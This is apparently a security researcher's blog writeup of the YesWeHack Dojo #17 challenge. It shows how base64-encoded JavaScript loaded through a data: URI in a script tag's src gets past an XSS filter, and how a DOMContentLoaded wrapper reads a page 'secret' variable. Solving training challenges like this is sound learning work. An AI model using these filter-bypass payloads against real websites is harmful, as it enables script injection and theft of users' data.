Avatar

Jakub Brzozowski

Pentester, bug bounty hunter and security researcher. Also huge fan of Star Wars and coffee connaisseur :coffee:

Yeswehack's Dojo #17 XSS challenge writeup

06 Jun 2022 » web-applications

ywh_dojo_17_logo

This is a short writeup of the lastest Yeswehack’s Dojo challenge. The challnege is all about bypassing the XSS filter and exfiltrating sensitive data. From the challenge description, we can read the following:

  • This code runs a JavaScript code inside a script that craft a “secret” variable,
  • Execute Javascript (XSS) and alert (popup) the value of the original variable secret,
  • Alert (popup) the value of the original variable secret.

So to solve this challenge we have to bypass the filter and get our hands on some “secret” variable. When we open the challene page we can see the following code snippet where the injection happens.

<script type="text/javascript" src="$inject"></script>

<script type="text/javascript">

//Get Access and *alert()* the "secret" variable! 
const date = Date.now().toString();
const addOn = "Pa$$w0rd";
const secret = addOn+date

</script>

Our injection point is the $inject variable. I decided to try a standard quote-closing payload only to see that the XSS filter blocked some of the payload. This was the result of payload x" onerror="alert(document.domain):

<script type="text/javascript" src=""__Nope__onerror__Nope__"alert(document.domain"></script>

We can see that the filter used the following rules to neutralize our payload:

ywh_dojo_17_1

So no HTML tag injection, JavaScript events or pointing the src attribute to our own server as the :// part is filtered and for some reason the script source cannot be loaded with double backslash (\\) bypass. Then I remembered that the script resources can be loaded with the data: URI scheme. We can base64-encode our JavaScript payload and then pass it to the src attribute using data: scheme which is not filtered! I quickly crafted the following payload:

Plaintext Payload 1

alert("XSS")

Base64-encoded Payload 1 with ‘data’ URI scheme

data:;base64,YWxlcnQoIlhTUyIp

After submitting the payload I could see that I’m able to bypass the filter and execute JS code.

Reflected payload:

<script type="text/javascript" src="data:;base64,YWxlcnQoIlhTUyIp"></script>

Javascript code execution:

ywh_dojo_17_2_noborder

However when I tried to read the secret variable, I got the following error in Dev Tools:

ywh_dojo_17_3

This happens as the secret variable is initialized after the injection point happens, so when we execute our JS code, there is no secret variable to access! We can fix this error by adding document.addEventListener("DOMContentLoaded", function(){<PAYLOAD>}) to our payload. This way our code will wait before the DOM finishes loading so we will be able to access every variable initialized.

Plaintext Payload 2

document.addEventListener("DOMContentLoaded", function(){alert(secret);;}); //extra semicolons (;) are to remove equality symbols (=) from the base64 payload as they get filtered out and brake our payload 

Base64-encoded Payload 2 with ‘data’ URI scheme

data:;base64,ZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigiRE9NQ29udGVudExvYWRlZCIsIGZ1bmN0aW9uKCl7YWxlcnQoc2VjcmV0KTs7fSk7

After injecting the final payload we can successfuly access the secret variable thus completing the challenge:

ywh_dojo_17_4_noborder